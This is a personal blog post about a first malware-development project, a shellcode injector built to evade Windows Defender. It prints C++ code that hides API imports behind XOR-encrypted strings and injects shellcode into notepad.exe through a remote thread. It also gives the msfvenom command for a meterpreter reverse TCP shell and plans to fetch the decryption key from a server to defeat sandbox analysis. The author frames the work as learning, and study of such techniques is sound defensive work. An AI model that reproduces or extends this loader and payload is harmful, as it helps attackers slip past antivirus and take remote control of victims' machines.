My first steps in MalDev

2024-02-28

Prelude

Around this last month I have been digging into the Malware Development world. I have always wanted to expand my knowledge within this field, and I felt like it was the moment to do so.

As mentioned in many other blogposts, Sektor7 Malware Development Essentials course was a good point to start. Nevertheless, I found this course very short and I felt like most of the important concepts are ignored (e.g., what is a handle?) and are just used like if I already know them.

Because of that, I actually recommend take a little stop on each of the things that the course shows you in order to UNDERSTAND what does each line do and also do some personal research on each of the things that the course provides.

I personally made questions like:

  • What are the parameters of this function?
  • Why is this function called in the code?
  • How could I develop this in a way that it could be more stealthy?
  • What are these compile options?

I wanted to make sure that I really learnt from this course and compiling and execute the code they give you is not the way to do it. I personally recommend to watch their videos, take some notes, and reproduce and execute the code in your personal project files. Do not be scared to improve or modify the code they give you if you think that can be useful.

The result of following these steps was a final course project in which I included all of the techniques given in the course to avoid detection (mainly static detection, it is a basic course) combined with am extra technique that made me bypass Windows Defender sandbox analysis.

Please note that I have just started to learn about these things and that I can be wrong; feel free to contact me at any of my social media to improve the quality of this post and my content overall.

Evasive? loader/injector

The final project consists on a shellcode loader/injector (let’s use injector from now on). This shellcode injector is able to bypass Windows Defender with a meterpreter x64 shellcode at the day of this post (2024/03/05) with Cloud Protection enabled.

EDIT: A week after this post was created, the dropper is not anymore evasive and is detected (dinamically) by Defender. I personally thought that this dropper is not stealthy enough to be evasive and a lot of evasive measures can (and will) be added to this dropper in the future. This has just started :P

This injector has the following properties:

  • It is an executable (.EXE) program. No DLL version for now.
  • The shellcode is stored as a resource AND “encrypted” using XOR.
  • The Windows API calls are calculated in run-time using the Run-Time Dynamic Linking technique. This corresponds to the API obfuscation technique from my fellas of Unprotect Project.
  • The strings to calculate the pointer to the API functions using the aforementioned technique are also encrypted with the same XOR key used for the shellcode, in order to obfuscate the strings.
  • The XOR key is also stored as a resource in the executable.
  • The program in which it injects into is notepad.exe. The injector obtains the PID given the process name and uses the PID to inject into.
  • The program is compiled as a Windows Subsystem program, and not as a console program, in order to avoid a CMD popping on screen when the dropper gets executed.

The API calls performed in this executable are simple:

  • FindResource and LoadResource to obtain the embedded resources in the executable.
  • VirtualAlloc, RtlMoveMemory, VirtualAllocEx, WriteProcessMemory, VirtualProtectEx and CreateRemoteThread for the injection technique.
  • GetProcAddress and GetModuleHandle to perform the IAT hiding technique.
  • CreateToolhelp32Snapshot, Process32First and Process32Next to obtain the PID given a process name.

The injector has the following phases:

  • It starts obtaining the XOR key from the resources section of the file.
  • Using this key to decrypt the string names of the API calls, uses the relevant API functions to obtain the PID from the process name specified as a variable. The process name is hardcoded into the program as a real malware would do; otherwise, we would need to call this dropper with arguments (not a real case most of the time). Notepad.exe was used as an example, but it could be performed with more common processes as explorer.exe. Just modify the process name variable inside the dropper.
  • The dropper allocates memory in its own process space and stores the shellcode embedded as a resource in this memory region. Note that the shellcode is stored in this region but not executed, as this is an intermediate step to then move the shellcode to the target process.
  • Using this obtained PID, the injector opens a handle to the process with the given PID and allocates memory space within the process region. The shellcode is then moved from the region that was previously created to this region.
  • A remote thread pointing to the remote memory region containing the shellcode is started.

The result is a thread in the remote process executing our shellcode.

Finding PID given process name

The used Windows API functions to perform the process injection technique require the PID of the process to inject into. A function that dinamically obtains the PID of a given process name at runtime was implemented in the injector using some of the Windows API calls.

The function is the following:

int findMyProc(wchar_t* procname) {

	HANDLE hSnapshot; // Handle to the system process snapshot.
	PROCESSENTRY32 pe;
	int pid = 0;
	BOOL hResult;

	printf("Searching for the process %ls to get its PID...\n", procname);

	// snapshot of all processes in the system
	unsigned char CreateToolhelp32SnapshotEncrypted[] = { 0x2A, 0xC4, 0xAB, 0x42, 0x50, 0x6D, 0xBE, 0x0C, 0x0F, 0xF3, 0xCB, 0xE1, 0x66, 0x62, 0x98, 0xBA, 0xCF, 0xD0, 0x42, 0xC9, 0x58, 0x3B, 0x93, 0xA2, 0xB3 };
	XOR(CreateToolhelp32SnapshotEncrypted, sizeof(CreateToolhelp32SnapshotEncrypted), key, key_len);
	auto const pCreateToolhelp32Snapshot = reinterpret_cast<LPVOID(WINAPI*)(DWORD dwFlags, DWORD th32ProcessID)>(
		GetProcAddress(hKernel32, (LPCSTR)CreateToolhelp32SnapshotEncrypted)
		);
	hSnapshot = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE) return 0;

	// It is neccesary to initialize the size of the process entry.
	/* Before calling the Process32First function, set this member to sizeof(PROCESSENTRY32). If you do not initialize dwSize,
	Process32First fails (https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/ns-tlhelp32-processentry32) */
	pe.dwSize = sizeof(PROCESSENTRY32W);

	// Retrieve infrormation about first process encountered in a system snapshot
	unsigned char Process32FirstWEncrypted[] = { 0x39, 0xC4, 0xA1, 0x40, 0x41, 0x7B, 0x99, 0x50, 0x52, 0xD9, 0xCA, 0xF6, 0x79, 0x66, 0xFC, 0x88 };
	XOR(Process32FirstWEncrypted, sizeof(Process32FirstWEncrypted), key, key_len);
	auto const pProcess32FirstW = reinterpret_cast<BOOL(WINAPI*)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe)>(
		GetProcAddress(hKernel32, (LPCSTR)Process32FirstWEncrypted)
		);
	hResult = pProcess32FirstW(hSnapshot, &pe);

	// Get information about the obtained process using its handle
	// and exit if unsuccessful
	unsigned char Process32NextWEncrypted[] = { 0x39, 0xC4, 0xA1, 0x40, 0x41, 0x7B, 0x99, 0x50, 0x52, 0xD1, 0xC6, 0xFC, 0x7E, 0x45, 0xAB };
	XOR(Process32NextWEncrypted, sizeof(Process32NextWEncrypted), key, key_len);
	auto const pProcess32NextW = reinterpret_cast<BOOL(WINAPI*)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe)>(
		GetProcAddress(hKernel32, (LPCSTR)Process32NextWEncrypted)
		);
	while (pProcess32NextW(hSnapshot, &pe)) {
		if (lstrcmpW(pe.szExeFile, procname) == 0) {
			pid = pe.th32ProcessID;
			break;
		}
	}

	// Close the open handle; we don't need it anymore
	CloseHandle(hSnapshot);
	return pid;
}

Note that this function will return the first PID occurrence related to the process specified; if there are two process called notepad.exe, it will return the first one that is found in the snapshot obtained calling CreateToolhelp32Snapshot (a lot of factors influence in the first returned PID).

Evasion techniques

Here is a detailed overview of each of the things I implemented in the program to make it stealthier, both statically and dinamically. Overall, I think that it is missing a lot of evasion techniques but as I repeated before, I am just learning slowly to know what I am exactly doing without copypasting.

Windows Subsystem

The program is compiled specifying WINDOWS as the subsystem and not CONSOLE as the subsystem in order to avoid the OS allocating a console when the file is executed. In order to do this, we first need to compile the file specifying WINDOWS as the SUBSYSTEM FLAG:

After that, the linker will not search for the main function; instead, it will search for the following function:

int WINAPI WinMain(HINSTANCE,HISTANCE,LPSTR,int);

Therefore we must replace our main function with WinMain:

IAT hiding + encrypted strings

The API calls are resolved dinamically, therefore, not appearing in the IAT of the file. Let’s see the snippet of the code to obfuscate an API call:

// VirtualAllocEx\0 char array encrypted with the XOR key
unsigned char VirtualAllocExEncrypted[] = { 0x3F, 0xDF, 0xBC, 0x57, 0x51, 0x69, 0x86, 0x22, 0x0C, 0xF3, 0xCC, 0xE7, 0x4F, 0x6A, 0xAB };
// Decrypting the string
XOR(VirtualAllocExEncrypted, sizeof(VirtualAllocExEncrypted), key, key_len);
// Obtaining the pointer to the VirtualAllocEx function at runtime
auto const pVirtualAllocEx = reinterpret_cast<LPVOID(WINAPI*)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)>(
		GetProcAddress(GetModuleHandle("kernel32.dll"), (LPCSTR)VirtualAllocExEncrypted)
		);
// Calling the function using the pointer
	lpBufferAddress = pVirtualAllocEx(hOpenProcess, NULL, shellcode_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

The string is encrypted to not use GetProcAddress and insert the hardcoded “VirtualAllocEx” function name. This would result in the function name appearing as a string in the file. Given this technique, PE analyzers do not display any information about these calls in the IAT nor in the strings. We can see an example with PExplorer, in which none of the used imports is being shown in the IAT:

Also, strings related to these calls do not appear in the strings section:

Analyzing the loader with ThreatCheck

ThreatCheck is an interesting tool designed by RastaMouse that allows us to pinpoint the exact bytes that Windows Defender will flag when scanning the file.

We can use this tool with our loader to verify if Defender flags our file:

We can see that at first sight Defender does not seem to detect our loader.

Used shellcode

The used shellcode is generated from msfvenom and it is a meterpreter reverse TCP shell. The shellcode used is staged and that means that it is lighter, but there is a download of the rest of the shellcode after the initial shellcode has been executed.

msfvenom --platform windows --arch x64 -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.0.143 LPORT=443 -f raw -o meterpreter EXITFUNC=thread

Defender Bypass PoC

Here is a video using this injector to load the previous shellcode with Defender on. Note that all of the functionalities of Defender are activated but the automatic sample submission (for obvious reasons):

We can see that no console is being displayed and that it looks stealthy.

Future research areas

This post is just the start of a big project I have in hand. The main objective of my project is to understand how OS (specially Windows) works, and how EDR solutions work, in order to understand the most advanced EDR evasion techniques and how can I implement my own techniques to evade EDR using the OS facilities.

I will update this injector when I discover more techniques, but here are some of the possible upgrade areas:

  • Change the injected shellcode for a custom one (IMHO I am far far away from developing a custom shellcode, but I am sure I will do it at the end)
  • Change the encryption algorithm used to a stronger one (RC6, for example).
  • Develop the injector in another language (C#, go, nim…).
  • Obtain the key to decrypt the resources from a server; this way, without proper connection to the server the injected shellcode does not work (ideal for EDRs that have a offline sandbox environment).
  • Overall, use more advanced evasion techniques (indirect syscalls, for example).

I will start soon Sektor7 Malware Development Intermediate course and start reading Windows Internals book, to complement my knowledge.

I hope you liked reading my post, feel free to contact me at any of my socials for any question/aclaration or just to give me tips, and I hope we see each other soon!

jasco



More posts like this

Random stuff

2024-02-28 | #evasion #firststeps #loader #maldev

Custom function declaration. Used when hooking, to get a pointer to the original function to get it dinamically resolved via IAT and then override this pointer, or to craft a new function that points to a shellcode with the function behavior (used in reflective DLL shellcode)

Case of getting the function pointer to a resolving Windows API call:

Continue reading 


Shellcodes for everything

2024-02-28 | #lab #maldev #shellcodes

Shellcodes that will be useful for testing/developing your malware.

I usually work on the same OS and with the same Compiler version for better reproducibility so here are my specs:

  • Windows 10 Pro 22H2
    • OS Build 19045.4046
    • MSVC vc.exe compiler (64-bit and 32-bit) version 19.41.34123

Shellcodes are not encrypted. You should encrypt them if you want evasion, as these shellcodes are public and not crafted manually by me.

Continue reading 


PE parsing

2025-03-27 | #binaries #executables #maldev #peparser

A random page with some information of the PE format file and its main headers. Main usage: malware development and malware research.

Considerations

  • RVA (Relative Virtual Address): Offset from Image Base. To obtain the absolute virtual address the calculation “Image Base + RVA” must be performed. Several PE sections include RVAs.
  • Check the official Microsoft documentation if you want to know more! This is only a summary and my personal studies about the topic.

DOS header

  • IMAGE_DOS_HEADER structure definition from winnt.h.
  • First 64 bytes of the PE file.
  • Was very important in the MS-DOS era, right now it is not.
  • The actual Windows OS loader uses a field in this header to navigate to the new executable header , which is the header containing most of the needed information.
  • Kept in the binaries for compatibility purposes.

We only want to know about the first and last members of this header:

Continue reading 


Understanding Heaven´s Gate

2024-09-19 | #evasion #firststeps #loader #maldev

Heaven’s gate lore

The Heaven’s Gate tutorial was written by an anonymous hacker going online as Roy G. Biv, a member of a group called 29A. After the group disbanded and their e-zine’s site went down, the Heaven’s Gate technique was later reprinted in the 2009 edition of the Valhalla hacker e-zine. I personally would check this resource, as it was the first time the technique was commented.

Continue reading 